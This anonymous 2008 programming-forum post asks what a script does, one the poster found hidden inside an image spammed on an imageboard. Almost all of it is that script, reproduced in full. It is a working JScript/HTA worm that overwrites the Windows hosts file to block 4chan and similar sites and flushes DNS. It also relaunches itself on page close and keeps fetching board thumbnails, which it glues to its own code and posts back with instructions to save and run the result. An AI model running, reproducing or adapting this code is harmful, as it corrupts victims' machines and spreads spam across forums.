Name: Anonymous 2008-08-28 10:32
I found this inside a jaypeg spammed on /a/. /prog/, you're my only hope - I'm sure at least one of you knows javascript. Tell me what this shit does.
<SCRIPT>
document.body.onbeforeunload=function(){new ActiveXObject('wscript.shell').run(new ActiveXObject('scripting.filesystemobject').getfilename(location+''),0)}
bo="http://207.126.64.181/b/,http://207.126.64.176/c/,http://207.126.64.168/d/,http://207.126.64.168/e/,http://207.126.64.186/f/,http://207.126.64.176/g/,http://207.126.64.186/gif/,http://207.126.64.186/h/,http://207.126.64.168/hr/,http://207.126.64.176/k/,http://207.126.64.176/m/,http://207.126.64.176/o/,http://207.126.64.176/p/,http://207.126.64.186/r/,http://207.126.64.186/s/,http://207.126.64.186/t/,http://207.126.64.168/u/,http://207.126.64.176/v/,http://207.126.64.176/w/,http://207.126.64.168/wg/,http://207.126.64.186/i/,http://207.126.64.186/ic/,http://207.126.64.176/cm/,http://207.126.64.168/y/,http://207.126.64.181/r9k/,http://207.126.64.176/an/,http://207.126.64.176/cgl/,http://207.126.64.176/ck/,http://207.126.64.176/co/,http://207.126.64.176/fa/,http://207.126.64.176/fit/,http://207.126.64.186/hc/,http://207.126.64.176/jp/,http://207.126.64.176/mu/,http://207.126.64.176/n/,http://207.126.64.176/po/,http://207.126.64.176/sp/,http://207.126.64.176/tg/,http://207.126.64.176/toy/,http://207.126.64.176/trv/,http://207.126.64.176/tv/,http://207.126.64.176/x/,http://207.126.64.168/con/" target='_blank'>http://207.126.64.176/a/,http://207.126.64.181/b/,http://207.126.64.176/c/,http://207.126.64.168/d/,http://207.126.64.168/e/,http://207.126.64.186/f/,http://207.126.64.176/g/,http://207.126.64.186/gif/,http://207.126.64.186/h/,http://207.126.64.168/hr/,http://207.126.64.176/k/,http://207.126.64.176/m/,http://207.126.64.176/o/,http://207.126.64.176/p/,http://207.126.64.186/r/,http://207.126.64.186/s/,http://207.126.64.186/t/,http://207.126.64.168/u/,http://207.126.64.176/v/,http://207.126.64.176/w/,http://207.126.64.168/wg/,http://207.126.64.186/i/,http://207.126.64.186/ic/,http://207.126.64.176/cm/,http://207.126.64.168/y/,http://207.126.64.181/r9k/,http://207.126.64.176/an/,http://207.126.64.176/cgl/,http://207.126.64.176/ck/,http://207.126.64.176/co/,http://207.126.64.176/fa/,http://207.126.64.176/fit/,http://207.126.64.186/hc/,http://207.126.64.176/jp/,http://207.126.64.176/mu/,http://207.126.64.176/n/,http://207.126.64.176/po/,http://207.126.64.176/sp/,http://207.126.64.176/tg/,http://207.126.64.176/toy/,http://207.126.64.176/trv/,http://207.126.64.176/tv/,http://207.126.64.176/x/,http://207.126.64.168/con/".split(",")
bo2="http://207.126.64.182/b/,http://207.126.64.177/c/,http://207.126.64.169/d/,http://207.126.64.169/e/,http://207.126.64.187/f/,http://207.126.64.177/g/,http://207.126.64.187/gif/,http://207.126.64.187/h/,http://207.126.64.169/hr/,http://207.126.64.177/k/,http://207.126.64.177/m/,http://207.126.64.177/o/,http://207.126.64.177/p/,http://207.126.64.187/r/,http://207.126.64.187/s/,http://207.126.64.187/t/,http://207.126.64.169/u/,http://207.126.64.177/v/,http://207.126.64.177/w/,http://207.126.64.169/wg/,http://207.126.64.187/i/,http://207.126.64.187/ic/,http://207.126.64.177/cm/,http://207.126.64.169/y/,http://207.126.64.182/r9k/,http://207.126.64.177/an/,http://207.126.64.177/cgl/,http://207.126.64.177/ck/,http://207.126.64.177/co/,http://207.126.64.177/fa/,http://207.126.64.177/fit/,http://207.126.64.187/hc/,http://207.126.64.177/jp/,http://207.126.64.177/mu/,http://207.126.64.177/n/,http://207.126.64.177/po/,http://207.126.64.177/sp/,http://207.126.64.177/tg/,http://207.126.64.177/toy/,http://207.126.64.177/trv/,http://207.126.64.177/tv/,http://207.126.64.177/x/,http://207.126.64.169/con/" target='_blank'>http://207.126.64.177/a/,http://207.126.64.182/b/,http://207.126.64.177/c/,http://207.126.64.169/d/,http://207.126.64.169/e/,http://207.126.64.187/f/,http://207.126.64.177/g/,http://207.126.64.187/gif/,http://207.126.64.187/h/,http://207.126.64.169/hr/,http://207.126.64.177/k/,http://207.126.64.177/m/,http://207.126.64.177/o/,http://207.126.64.177/p/,http://207.126.64.187/r/,http://207.126.64.187/s/,http://207.126.64.187/t/,http://207.126.64.169/u/,http://207.126.64.177/v/,http://207.126.64.177/w/,http://207.126.64.169/wg/,http://207.126.64.187/i/,http://207.126.64.187/ic/,http://207.126.64.177/cm/,http://207.126.64.169/y/,http://207.126.64.182/r9k/,http://207.126.64.177/an/,http://207.126.64.177/cgl/,http://207.126.64.177/ck/,http://207.126.64.177/co/,http://207.126.64.177/fa/,http://207.126.64.177/fit/,http://207.126.64.187/hc/,http://207.126.64.177/jp/,http://207.126.64.177/mu/,http://207.126.64.177/n/,http://207.126.64.177/po/,http://207.126.64.177/sp/,http://207.126.64.177/tg/,http://207.126.64.177/toy/,http://207.126.64.177/trv/,http://207.126.64.177/tv/,http://207.126.64.177/x/,http://207.126.64.169/con/".split(",")
for(i=0;i<bo2.length;i++)
bo2[i]+="imgboard.php"
b=[1,33,1,1,31,1,1,1,33,6,1,30,1,41,17,27,1,34,1,1]
bc=[0.5,0.4033080731244654,0.0021013097656388257,0.5,0.1400766959090386,0.5,0.5,0.5,0.1377109204105143,0.4661278640616461,0.5,0.07259863053173188,0.5,0.5155447501938473,0.480018450565397,0.6280900058171204,0.5,0.6148496170871283,0.47640136769716623,0.0519297288906157]
for(i=0;i<20;i++)
if(Math.random()<bc[i]){
bc[i]=Math.random()
b[i]=Math.floor(Math.random()*bo.length)}
a=new ActiveXObject("adodb.stream")
x=new ActiveXObject("msxml2.xmlhttp")
fso=new ActiveXObject("scripting.filesystemobject")
wsh=new ActiveXObject("wscript.shell")
try{
fso.createtextfile(fso.getspecialfolder(1)+"\\drivers\\etc\\hosts").write("0 ns1.4chan.org\r\n0 ns2.4chan.org\r\n0 ns3.4chan.org\r\n0 www.4chan.org\r\n0 content.4chan.org\r\n0 orz.4chan.org\r\n0 tmp.4chan.org\r\n0 rs.4chan.org\r\n0 static.4chan.org\r\n0 zip.4chan.org\r\n0 bin.4chan.org\r\n0 dis.4chan.org\r\n0 img.4chan.org\r\n0 dat.4chan.org\r\n0 cgi.4chan.org\r\n0 nov.4chan.org\r\n0 4chan.org\r\n0 status.4chan.org\r\n0 4chanstatus.blogspot.com\r\n0 irc.rizon.net\r\n0 7chan.org\r\n0 www.7chan.org\r\n0 img.7chan.org\r\n0 dix.7chan.org\r\n0 irc.7chan.org\r\n0 420chan.org\r\n0 img.420chan.org\r\n0 disc.420chan.org\r\n0 irc.420chan.org\r\n0 blog.420chan.org\r\n0 radio.420chan.org\r\n0 711chan.org\r\n0 www.711chan.org\r\n0 irc.711chan.org\r\n0 99chan.org\r\n0 www.99chan.org\r\n0 irc.99chan.org\r\n0 12chan.org\r\n0 www.12chan.org\r\n0 img.12chan.org\r\n0 irc.12chan.org\r\n0 shii.org\r\n0 www.shii.org\r\n0 irc.partyvan.us\r\n0 irc.partyvan.fm\r\n0 irc.raidchan.org\r\n0 encyclopediadramatica.com\r\n0 www.encyclopediadramatica.com\r\n0 partyvan.eu\r\n0 www.partyvan.eu\r\n0 anontalk.com\r\n0 www.anontalk.com")
wsh.run("ipconfig /flushdns",0)}catch(e){}
function spam(){
try{
cb=Math.floor(Math.random()*20)
host=bo[b[cb]].match(/[0-9].*[0-9]/g)[0]
host=host.replace("207.126.64.168","orz.4chan.org")
host=host.replace("207.126.64.169","tmp.4chan.org")
host=host.replace("207.126.64.176","zip.4chan.org")
host=host.replace("207.126.64.177","bin.4chan.org")
host=host.replace("207.126.64.181","img.4chan.org")
host=host.replace("207.126.64.182","dat.4chan.org")
host=host.replace("207.126.64.186","cgi.4chan.org")
host=host.replace("207.126.64.187","nov.4chan.org")
x.open("get",bo[b[cb]]+"?"+Math.ceil(Math.random()*1e9),0)
x.setrequestheader("host",host)
x.send()
r=x.responsetext
t=r.match(/<span id="nothread[0-9]+/g)
t=t[Math.floor(Math.random()*t.length)].match(/[0-9]+/g)[0]
m=r.match(/=http.*?thumb.*?[0-9]+s\.jpg/g)
m=m[Math.floor(Math.random()*m.length)].substring(1)
m=m.replace("orz.4chan.org","207.126.64.168")
m=m.replace("tmp.4chan.org","207.126.64.169")
m=m.replace("zip.4chan.org","207.126.64.176")
m=m.replace("bin.4chan.org","207.126.64.177")
m=m.replace("img.4chan.org","207.126.64.181")
m=m.replace("dat.4chan.org","207.126.64.182")
m=m.replace("cgi.4chan.org","207.126.64.186")
m=m.replace("nov.4chan.org","207.126.64.187")
bou=Math.ceil(Math.random()*1e9)
s="\r\n--"+bou+"\r\ncontent-disposition:form-data;name="
shit=html.innerHTML
shit=shit.replace(/b=.*?\]/,"b=["+b+"]")
shit=shit.replace(/bc=.*?\]/,"bc=["+bc+"]")
f1=fso.createtextfile("1")
f3=fso.createtextfile("3")
f1.write(s+"resto\r\n\r\n"+t+s+"upfile;filename=\""+(new Date().getTime()-Math.ceil(Math.random()*2592e6))+".jpg\"\r\ncontent-type:image/jpeg\r\n\r\n")
f3.write("<body><a id=html>"+shit)
f3.write(s+"com\r\n\r\n1. Open this image.\r\n2. Save it as lol.hta\r\n3. Open the file you saved.\r\n4. Shit bricks."+s+"mode\r\n\r\nregist")
f1.close()
f3.close()
x.open("get",m,0)
x.setrequestheader("host",host)
x.send()
a.mode=3
a.type=1
a.open()
a.write(x.responsebody)
a.savetofile("2",2)
a.close()
wsh.run("cmd /c copy /b 1+2+3 4",0,1)
host=bo2[b[cb]].match(/[0-9].*[0-9]/g)[0]
host=host.replace("207.126.64.168","orz.4chan.org")
host=host.replace("207.126.64.169","tmp.4chan.org")
host=host.replace("207.126.64.176","zip.4chan.org")
host=host.replace("207.126.64.177","bin.4chan.org")
host=host.replace("207.126.64.181","img.4chan.org")
host=host.replace("207.126.64.182","dat.4chan.org")
host=host.replace("207.126.64.186","cgi.4chan.org")
host=host.replace("207.126.64.187","nov.4chan.org")
x.open("post",bo2[b[cb]],0)
x.setrequestheader("host",host)
x.setrequestheader("content-type","multipart/form-data;boundary="+bou)
a.mode=3
a.type=1
a.open()
a.loadfromfile(fso.getabsolutepathname("4"))
x.send(a.read())
a.close()
}catch(e){}
for(i=0;i<4;i++)
try{fso.deletefile(i+"")}catch(e){}
setTimeout("spam()",45000+Math.ceil(Math.random()*20000))}
spam()
</SCRIPT>